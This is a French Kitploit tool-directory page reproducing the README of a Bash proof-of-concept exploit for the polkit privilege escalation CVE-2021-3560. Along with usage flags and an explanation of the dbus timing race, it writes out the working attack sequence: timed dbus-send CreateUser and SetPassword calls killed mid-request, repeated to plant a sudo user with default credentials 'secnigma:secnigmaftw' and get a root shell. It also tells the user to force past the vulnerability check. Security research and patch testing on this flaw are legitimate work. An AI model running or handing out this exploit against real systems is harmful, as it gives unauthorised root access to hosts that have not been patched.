Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-3560-Polkit-Privilege-Esclation — PoC Bash automatisé pour l'élévation de privilèges polkit CVE-2021-3560. Exploite l'attaque temporelle dbus pour injecter un utilisateur sudo et obtenir un shell root sur les distributions Linux vulnérables. | Kitploit
Outils/GitHubGitHub/secnigma/cve-2021-3560-polkit-privilege-esclation
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionAuthentification
GitHubsecnigma/cve-2021-3560-polkit-privilege-esclation

CVE-2021-3560-Polkit-Privilege-Esclation

PoC Bash automatisé pour l'élévation de privilèges polkit CVE-2021-3560. Exploite l'attaque temporelle dbus pour injecter un utilisateur sudo et obtenir un shell root sur les distributions Linux vulnérables.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
124513il y a 3 ansVérifié par Kitploit

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Recherche originale par Kevin Backhouse

Ceci est simplement un script PoC en Bash qui automatise les étapes d'exploitation mentionnées dans le blog de Kevin Backhouse. Lisez son article sur cette vulnérabilité : https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Utilisation

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

Points à noter :

  • Cet exploit fonctionne uniquement sur les distributions qui ont installé accountsservice et gnome-control-center et qui doivent avoir polkit version 0.113 (ou ultérieure) OU 0-105-26 (fork Debian de polkit).
  • Cet exploit a été testé sur Ubuntu 20.04, avec polkit version 0-105-26 (fork Debian de polkit) et Centos 8 avec la version 0.115 de polkit. Si vous êtes sûr que votre cible est vulnérable, mais que la fonction de vérification de l'exploit échoue, utilisez l'option -f=y pour contourner toutes les vérifications et forcer l'exploit.
  • Les distributions telles que RHEL 8, Fedora 21, Debian testing ("bullseye") et Ubuntu 20.04 se sont avérées vulnérables.

Comment fonctionne l'exploit ?

Une explication complète et un PoC pour exploiter cette vulnérabilité manuellement sont fournis en détail sur le blog du chercheur.

TL;DR de cet exploit est donné ci-dessous :

  • Cette attaque nécessite un timing précis et nous devons nous connecter via SSH (ou une session en ligne de commande, où l'ouverture d'applications graphiques n'est pas une option).
  • Un attaquant peut exploiter cette vulnérabilité en déclenchant polkit via l'envoi d'un message dbus, mais en fermant la requête brutalement pendant que polkit traite la requête. L'attaquant peut ensuite envoyer une seconde requête avec l'identifiant de bus unique de la requête précédente, afin d'exécuter la requête en tant qu'UID 0, alias root.
  • Cette vulnérabilité existe dans polkit, car il traite l'UID d'une connexion dont l'identifiant de bus n'existe plus comme une requête provenant de l'UID 0. Cela signifie que, si nous pouvons synchroniser correctement l'attaque et terminer notre première requête au bon moment, nous pouvons alors envoyer la seconde requête avec les privilèges de l'UID 0, alias root.
  • Le timing pour terminer la connexion est calculé comme le temps requis pour envoyer le message dbus / 2. Expliqué en détail ici.

Que fait réellement ce script ?

Comme je l'ai dit précédemment, ce n'est qu'un script bash qui automatise le PoC de Kevin Backhouse. Les commandes de base sont les mêmes ; j'ai simplement automatisé certaines étapes initiales (comme obtenir le bon timing, analyser la vulnérabilité, insérer des identifiants personnalisés, afficher de jolies couleurs, etc.).

Si ce script est exécuté sans aucun paramètre, le comportement par défaut de ce script est le suivant :

  • Vérifier le type de distribution. [En utilisant le fichier /etc/os-release.]
  • Vérifier l'installation de accountservice et gnome-control-center. [Sur rhel/centos/fedora, utilise rpm -qa et sur les distributions debian/ubuntu, utilise dpkg -l].
  • Si les installations sont trouvées, le script vérifie alors la version de polkit. [ 0.113 (ou ultérieure) pour rhel.centos,fedora et 0-105-26 pour Debian/Ubuntu]
  • Si la version de polkit s'avère vulnérable, le script lance l'exploitation.
  • Premièrement, le script détermine le temps requis pour envoyer la requête via debus-send en exécutant bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
Télécharger l’outil
  • Une liste de compatibilité des distributions est disponible sur le blog de Kevin.
  • Ce script injecte un nouvel utilisateur dans le groupe sudo. Si l'exploit fonctionne, nous pouvons nous connecter au compte en utilisant su - <username> avec le mot de passe fourni au script, puis saisir sudo bash pour obtenir un shell root !
  • Comme cette attaque repose sur un timing précis, PLUSIEURS TENTATIVES SONT GÉNÉRALEMENT NÉCESSAIRES pour que cet exploit fonctionne.
  • AVERTISSEMENT : NE LANCEZ PAS CE SCRIPT DANS UNE SESSION DE CONNEXION GRAPHIQUE !
  • Si ce script est exécuté dans un environnement de connexion graphique, la boucle fera apparaître l'authentification polkit à plusieurs reprises. Exécutez donc cet exploit uniquement dans un shell SSH/NC.
  • Si cela arrive, appuyez sur la touche Esc pour fermer l'invite d'authentification et sur Ctrl+C pour terminer le script rapidement.
  • Ensuite, le temps pour terminer la requête ($t) est calculé en divisant par 2 le temps requis pour la requête. ($t=time-required-to-request/2) [Calculé avec awk]
  • Après le calcul du temps ($t), la requête d'insertion de $username secnigma sur la cible est répétée 20 fois. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • Si l'insertion de l'utilisateur réussit, [vérifiée avec id secnigma], un hash de mot de passe est alors généré [en utilisant bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • Ensuite, la commande d'insertion du hash de mot de passe est exécutée 20 fois. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!